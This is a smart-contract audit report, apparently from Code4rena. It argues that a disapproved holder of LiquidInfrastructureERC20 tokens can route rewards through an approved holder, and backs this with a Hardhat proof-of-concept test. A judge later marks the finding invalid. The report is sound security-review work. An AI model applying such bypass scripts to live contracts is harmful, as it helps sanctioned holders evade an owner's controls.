c4-bot-1 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L394-L403

Vulnerability details

Impact

LiquidInfrastructureERC20.sol allows the contract owner to block a token holder via disapproveHolder. Further, a disapproved holder cannot receive infrastructure tokens. This is enforced in _beforeTokenTransfer. However, this method does not disallow a blocked user to transfer their infrastructure tokens to another holder. The other holder will be collecting the rewards on the behalf of the blocked user. Since the contract owner does not have control over the rewards token (such as USDC), the unblocked holder can simply act as a rewards proxy, perhaps, collecting a fee for doing that.

As a result, disapproveHolder is a feature that is too easy to circumvent.

Proof of Concept

The test test/poc2.ts demonstrates that:

a disapproved holder holder2 may transfer tokens to holder3,
holder3 receives the rewards on behalf of holder2,
holder3 transfers the rewards back to holder2.

The source code of test/poc2.ts:

import chai from "chai";

import { mine } from "@nomicfoundation/hardhat-network-helpers";
import { ethers } from "hardhat";
import {
  deployContracts,
  deployLiquidERC20,
  deployLiquidNFT,
} from "../test-utils";
import {
  LiquidInfrastructureNFT,
  LiquidInfrastructureERC20,
} from "../typechain-types/contracts";
import { ERC20 } from "../typechain-types/@openzeppelin/contracts/token/ERC20";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = chai;

const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000";

// This test makes assertions about the LiquidInfrastructureERC20 contract by running it on hardhat
//
// Important test details:
// Contract interactions happen via hardhat-ethers: https://hardhat.org/hardhat-runner/plugins/nomiclabs-hardhat-ethers
// Chai is used to make assertions https://www.chaijs.com/api/bdd/
// Ethereum-waffle is used to extend chai and add ethereum matchers: https://ethereum-waffle.readthedocs.io/en/latest/matchers.html
async function liquidErc20Fixture() {
  const signers = await ethers.getSigners();
  const nftAccount1 = signers[0];
  const nftAccount2 = signers[1];
  const nftAccount3 = signers[2];
  const erc20Owner = signers[3];
  const holder1 = signers[4];
  const holder2 = signers[5];
  const holder3 = signers[6];
  const holder4 = signers[7];
  const badSigner = signers[8];

  // Deploy several ERC20 tokens to use as revenue currencies
  //////////////////
  const { testERC20A, testERC20B, testERC20C } = await deployContracts(
    erc20Owner
  );
  const erc20Addresses = [
    await testERC20A.getAddress(),
    await testERC20B.getAddress(),
    await testERC20C.getAddress(),
  ];

  // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs
  //////////////////
  const infraERC20 = await deployLiquidERC20(
    erc20Owner,
    "Infra",
    "INFRA",
    [],
    [],
    500,
    erc20Addresses
  );

  expect(await infraERC20.totalSupply()).to.equal(0);
  expect(await infraERC20.name()).to.equal("Infra");
  expect(await infraERC20.symbol()).to.equal("INFRA");
  await expect(infraERC20.ManagedNFTs(0)).to.be.reverted;
  expect(await infraERC20.isApprovedHolder(holder1.address)).to.equal(false);
  await expect(infraERC20.mint(holder1.address, 1000)).to.be.reverted;
  expect(await infraERC20.balanceOf(holder1.address)).to.equal(0);

  return {
    infraERC20,
    testERC20A,
    testERC20B,
    testERC20C,
    signers,
    nftAccount1,
    nftAccount2,
    nftAccount3,
    erc20Owner,
    holder1,
    holder2,
    holder3,
    holder4,
    badSigner,
  };
}

export async function transferNftToErc20AndManage(
  infraERC20: LiquidInfrastructureERC20,
  nftToManage: LiquidInfrastructureNFT,
  nftOwner: HardhatEthersSigner
) {
  const infraAddress = await infraERC20.getAddress();
  const accountId = await nftToManage.AccountId();
  expect(await nftToManage.transferFrom(nftOwner, infraAddress, accountId)).to
    .be.ok;
  expect(await nftToManage.ownerOf(accountId)).to.equal(
    infraAddress,
    "unexpected nft owner"
  );

  expect(await infraERC20.addManagedNFT(await nftToManage.getAddress()))
    .to.emit(infraERC20, "AddManagedNFT")
    .withArgs(await nftToManage.getAddress());
}

async function blockedUserTest(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [_, holder2, holder3, holder4] = holders.slice(0, 4);
  const nftOwner1 = nftOwners[0];
  let nft1 = nfts[0];

  const [erc20a, erc20b, erc20c] = rewardErc20s.slice(0, 3);
  const erc20Addresses = [
      await erc20a.getAddress(),
      await erc20b.getAddress(),
      await erc20c.getAddress(),
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 3000000;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal(
    rewardAmount1
  );

  // And then send the rewards to the ERC20
  await expect(infraERC20.withdrawFromAllManagedNFTs())
    .to.emit(infraERC20, "WithdrawalStarted")
    .and.emit(nft1, "SuccessfulWithdrawal")
    .and.emit(erc20a, "Transfer")
    .withArgs(
      await nft1.getAddress(),
      await infraERC20.getAddress(),
      rewardAmount1
    )
    .and.emit(infraERC20, "Withdrawal")
    .withArgs(await nft1.getAddress())
    .and.emit(infraERC20, "WithdrawalFinished");

  // make sure that holders 2-4 have 0 balance on erc20a
  expect(await erc20a.balanceOf(holder2.address)).to.equal(0);
  expect(await erc20a.balanceOf(holder3.address)).to.equal(0);
  expect(await erc20a.balanceOf(holder4.address)).to.equal(0);

  // Grant the holders 2, 3, 4 one infra ERC20, so they are added to the holders
  for (let h of [holder2, holder3, holder4]) {
    await expect(infraERC20.mint(h.address, 1))
      .to.emit(infraERC20, "Transfer")
      .withArgs(ZERO_ADDRESS, h.address, 1);
  }
  await mine(100);

  // the admin disapproves holder2
  infraERC20.connect(infraERC20Owner).disapproveHolder(holder2);
  await mine(1);

  // holder2 is now disapproved but they can still transfer their infra ERC20 to holder3
  await expect(infraERC20.connect(holder2).transfer(holder3, 1))
    .to.emit(infraERC20, "Transfer")
    .withArgs(holder2.address, holder3.address, 1);
  await mine(400);

  expect(await infraERC20.totalSupply()).to.equal(3);

  // start the distribution, holder2 gets no rewards, but holder3 gets their rewards
  await expect(infraERC20.distributeToAllHolders())
    .to.emit(infraERC20, "DistributionStarted")
    .and.emit(infraERC20, "Distribution")
    .withArgs(holder3.address, erc20Addresses, [2 * rewardAmount1 / 3, 0, 0])
    .and.emit(erc20a, "Transfer")
    .withArgs(await infraERC20.getAddress(), holder3.address, 2 * rewardAmount1 / 3)
    .and.emit(infraERC20, "Distribution")
    .withArgs(holder4.address, erc20Addresses, [ rewardAmount1 / 3, 0, 0])
    .and.emit(erc20a, "Transfer")
    .withArgs(await infraERC20.getAddress(), holder4.address, rewardAmount1 / 3);
  await mine(1);

  expect(await erc20a.balanceOf(holder2.address)).to.equal(0);
  expect(await erc20a.balanceOf(holder3.address)).to.equal(2 * rewardAmount1 / 3);
  expect(await erc20a.balanceOf(holder4.address)).to.equal(rewardAmount1 / 3);
  // since the admin does not have control over erc20a,
  // they cannot prevent holder3 from transferring the rewards to holder2
  await expect(erc20a.connect(holder3).transfer(holder2, rewardAmount1 / 3))
    .to.not.be.reverted;
  expect(await erc20a.balanceOf(holder2.address)).to.equal(rewardAmount1 / 3);
}

describe("Blocked holder tests", function () {
  it("blocked holder gets rewards via unblocked holder", async function () {
    const {
      infraERC20,
      erc20Owner,
      testERC20A,
      testERC20B,
      testERC20C,
      nftAccount1,
      nftAccount2,
      nftAccount3,
      holder1,
      holder2,
      holder3,
      holder4,
    } = await liquidErc20Fixture();

    const holders = [holder1, holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1, nftAccount2, nftAccount3];
    let nfts: LiquidInfrastructureNFT[] = [
      await deployLiquidNFT(nftAccount1),
      await deployLiquidNFT(nftAccount2),
      await deployLiquidNFT(nftAccount3),
    ];
    const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C];
    for (const nft of nfts) {
      nft.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      );
    }
    await blockedUserTest(
      infraERC20,
      erc20Owner,
      holders,
      nftOwners,
      nfts,
      erc20s
    );
  });
});

Tools Used

Manual review, Miro, Hardhat.

Recommended Mitigation Steps

One solution is to simply forbid a blocked user to transfer their token to anyone else but to the zero address (that is, burning the locked tokens) in _beforeTokenTransfer.

Assessed type

Access Control

c4-pre-sort commented 9 months ago

0xRobocop marked the issue as duplicate of #292

c4-pre-sort commented 9 months ago

0xRobocop marked the issue as sufficient quality report

c4-pre-sort commented 9 months ago

0xRobocop marked the issue as remove high or low quality report

c4-judge commented 9 months ago

0xA5DF marked the issue as unsatisfactory: Invalid

code-423n4 / 2024-02-althea-liquid-infrastructure-findings

An approved holder can proxy the rewards for a disapproved holder #659

Lines of code

Vulnerability details

Impact

Proof of Concept

Tools Used

Recommended Mitigation Steps

Assessed type